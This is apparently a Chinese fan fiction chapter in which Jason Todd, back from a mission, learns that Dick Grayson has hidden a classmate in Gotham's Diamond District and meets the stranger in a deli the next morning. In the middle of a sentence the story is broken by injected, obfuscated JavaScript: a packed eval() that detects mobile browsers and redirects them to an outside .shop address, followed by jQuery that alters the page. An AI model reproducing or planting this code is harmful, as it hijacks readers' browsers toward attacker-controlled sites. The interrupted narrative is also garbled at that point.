杰森是在凌晨三点十七分回到钻石区的。
事实上，他刚从考文垂那片烂摊子里抽身出来，手臂还残留着肌肉在高速对抗后才会出现的微颤，皮肤下的血管一跳一跳，像是在提醒他——肾上腺素还没完全退干净。
他没回韦恩庄园。
这不是逃避，也不是叛逆。只是单纯地不合适。
任务没结束的时候，他不习惯回到蝙蝠洞。那里太容易把一切变成需要解释的事：为什么受伤，为什么晚归，为什么这次动手比平时更狠。布鲁斯会问，阿福也会很关心，而他现在不想回应他们中的任何一个。
他现在需要一个地方像是韦恩庄园，能落脚，干净安全又舒适。
钻石区刚好有个地方符合这个条件。
夜已经很深了，这一片的灯却还亮着。不是酒吧那种喧闹的亮，而是被精确规划过的、克制的光源：楼宇底层的门禁灯、停车场的感应照明、路口永远不灭的交通指示。整片街区像一台持续运转却低声呼吸的机器。
杰森落在一栋楼的屋顶边缘，膝盖微屈卸力，披风在背后收拢。他下意识扫了一圈——摄像头的位置、死角、最近的落点——确认这一切都还在他的掌控里，才直起身。
他本来只是打算在这里待一会儿。这里他太熟了。顶层复式，二十五到二十六层，是韦恩家的人都会用的地方。
换衣服，处理伤口，等天亮。
但他没想到会在这里看到“那个人”。
事情发生得很突然。
他刚沿着外墙下移，准备从消防梯进入韦恩大厦的备用通道，目光却在某一扇窗前停了一瞬。
窗里透出来亮着的灯光。
被刻意控制过亮度的那种，像夜里都不打算完全放松的人留下的。
杰森贴着墙重新看了一眼。
窗内的人没有靠近玻璃，只是在室内来回走动，步子很轻，停顿的节奏规律，明显带着警觉。那不是“住在这里”的状态，更像是被暂时安置，却还没来得及卸下防备。
谁把人安置在这里了？
他很快就得到了答案。
——迪克。
他几乎是在下一秒就意识到这一点。
他知道迪克最近在做什么。
布鲁德海文。
离开哥谭。
不再是罗宾。
杰森喉结动了一下。
他没有立刻靠近那扇窗，只是记下了位置。几秒后，他换了路线，在另一栋楼的屋顶落脚，掏出通讯器，拨通了一个他本来不打算在这个时间点联系的频道。
“你在钻石区安置人了？”
通讯那头沉默了半秒。
“你怎么知道？”迪克的声音随后响起，带着一点没睡醒的低哑。
杰森没回答这个问题。
“是谁。”他说。
又一秒的停顿。
“……一个同学。”迪克最终说，“刚卷进了一些不太好的事。”
这句话让杰森的眉头直接皱紧。
“什么事。”他问。
迪克没有立刻回答。
这比任何解释都更糟。
“考文垂。”迪克说，“一栋旧楼起火。我们怀疑和毒藤女有关，但现在还不完全确定。”
杰森的手指在通讯器边缘收紧了一下。
考文垂。
他几小时前刚离开那里。
“那个人住过那栋楼？”他问。
“嗯。”迪克叹了口气，“而且……他可能是在不知情的情况下，被利用进了校园。”
这一次，杰森没再说话。
他脑子里迅速把线索拼在一起。
“他叫什么。”杰森问。
迪克报了名字。
杰森在夜风里站了一会儿。
名字很普通。普通到不像是会出现在任何档案的重点页。
“你确定他只是学生？”他问。
“目前看是。”迪克说，“怎么了？”
杰森没有立刻回答。
他靠在夜巡点的阴影里，手套还没脱，指腹残留着一点没散干净的刺痛。脑子里却不是伤口，而是那间亮着灯的顶层公寓——那种被刻意压低的光线，还有窗内那个人移动时的节奏。
“没什么。”杰森最终说，“我明天再看一眼。”
他停了一秒，又补了一句：
“只是觉得他不像是那种，会乖乖等事情结束的人。”
通讯那头轻轻吸了口气。
“杰森——”迪克想说什么。
“我不会乱来。”他打断，“只是看看。”
通讯断了。
杰森在屋顶站了一会儿，抬手抓了抓自己的头发。
指尖触到发根的时候，他才想起自己还没洗掉染发剂。
黑得不自然。
发丝在灯下反光太均匀了，像刚做完伪装就直接跑出来。正常情况下他不会犯这种低级错误，但今晚的事情叠得太密了。
毒藤女。
考文垂。
那栋楼。
还有现在这个被安置进钻石区的“学生”。
他本来该回庄园的。
但现在不行。
第二天清晨，杰森没有穿制服。
他换了一身普通得不能再普通的衣服：深色外套，兜帽，球鞋。看起来像任何一个早起买早餐、或者干脆一夜没睡的年轻人。
他选了那家 deli，当然不是随便选的。那家店的位置很好，能看到街口，也能看到韦恩大厦的侧面入口。来的人很杂，有通宵工作的人，有晨跑的，有刚下夜班的。
足够混乱
杰森推开 Deli 的门时，门铃轻响了一声。
暖气迎面涌上来，他肩背的肌肉条件反射般绷了一下。咖啡、烤面包和腌黄瓜的味道混在一起，很干净，很安全。他只是来买杯咖啡。
视线照例扫了一圈。
柜台、玻璃柜、监控角度、角落的反光面——一切都在预期内。直到他的目光在靠窗那张桌子前停了一瞬。
那个人已经坐在那里了。
没有看门口，没有张望，只低头看手机。背挺得很稳，肩线收着，坐姿介于“随时能起身”和“已经待了一会儿”之间。纸袋被压在手边，摆放得过分整齐。
不是放松的姿态。
杰森继续往里走，脚步没停，像是什么都没注意到。靴底踩在地砖上的声音被背景音乐吃掉，只剩下一点模糊的回响。
他在柜台点了杯黑咖啡。
等咖啡的时候，他换了个角度。
那人手腕上挂着手机——不是装饰，是结打得很实的那种挂绳。钻石区的人用不着这个。
咖啡递过来时，他接过杯子，热度烫了一下指腹。
杰森转身，找了个靠墙的位置坐下，背后是实体支撑，视线能扫到门口，也能扫到那张桌子。
他喝了一口咖啡。
苦的。
这时，他才抬眼，再次看向那个人。
然后，像是真的随口一问。
“你住韦恩大楼？”
他问出口的那一刻，其实已经知道自己越了一点线。
但那句话还是自然地落了下来，像是不需要经过许可的确认。
那个人抬头看了他一眼。
灯光从窗外折进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116926|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来，落在对方的眼睛里——不是常见的颜色，而是一种偏冷的紫，在室内偏暖的光线下显得异常清晰。那双眼睛看人的方式很克制，没有多余的情绪，却也不空，像是已经习惯先处理信息、再决定反应。
混血的轮廓让那张脸在近看时显得过分干净：鼻梁线条清楚，下颌收得利落，五官之间的比例精准得几乎不需要修饰。那是张看上去像是会被街头轻易吞掉的面容。
他的反应也一样。
不是被抓住的慌乱，也不是被冒犯的不悦。只是很短的一瞬评估——视线在杰森脸上停了不到一拍，就移开了。快得像是在判断“这是不是值得回应的变量”。
“你怎么知道？”对方问。
声音不高，语气平稳，没有回避，也没有顺着往下递话。像是把问题放回桌面，等你自己决定要不要继续。
杰森端着咖啡，没有立刻回答。
他把杯子放在桌上，杯底与桌面碰出一声闷响，很轻，却足够清晰。那声音像是给这场对话画了一条线。
“这里的人不把手机挂手腕。”他说，“只有刚从别的区搬过来的人会这样。”
说完他就停了。
没有补充，没有逼近，也没有等对方解释。像是这句话本身已经完成了该完成的事。
那个人沉默了一秒。
不是犹豫，是在衡量值不值得继续展开。那种停顿太干净了，干净到不像普通人的反应，更像是在心里快速翻过几种可能性，再选择其中一个最省力的。
“那也解释不了你为什么关心。”对方说。
杰森的眉峰几不可察地动了一下。
好问题。
他心里掠过这个评价，却没显露出来。他只是抬起咖啡杯，喝了一口，语气随意得近乎敷衍：“不常见而已。”
这一次，对方点了点头。
不是认同，更像是暂时接受这个解释被封存。那双紫色的眼睛没有继续追着他走，反而很自然地收回，像是已经决定把这段对话归档。
杰森注意到一个细节：对方没有追问也没有借机反向套话。那是一种很拎得清的判断力。
聪明得有点危险。
他心里那点警惕反而沉了一下。
“钻石区不常见的事很多。”对方说，“不一定都有问题。”
给台阶，也画界线。
杰森勾了下嘴角，幅度很小：“也是。”
这一次，他是真笑了一下。很短，很浅，只在眼睛里停留了一瞬。
“我叫杰森。”他说。
不是自我介绍，是留一个标签。
对方没有立刻报名字。
只是又看了他一眼——那种视线很短，却像是在确认什么——然后低头继续看手机，神情自然得仿佛已经决定把这件事放进“以后再说”的分类里。
“知道了。”对方说。
不热络，也不冷。
杰森没再站着。
他端着咖啡走到窗边坐下，背靠着实体支撑，视线正好能看到门口和街道。坐下的那一刻，他的身体自然地进入了夜巡时才会有的姿态——重心后置，腿部放松，随时能起身。
他没有再看那个人。
但他知道，对方的余光仍然在确认他的存在。
门铃又响了一声，有人进来。
咖啡的热气慢慢散掉。
几分钟后，那个人收起手机，拎起纸袋起身离开。动作不急，路线却很干脆，肩背挺直，步伐稳定，没有一丝多余的犹豫。
杰森没有跟。
他只是看着那道身影消失在街角，才低头把最后一口咖啡喝完。
苦味压在舌根。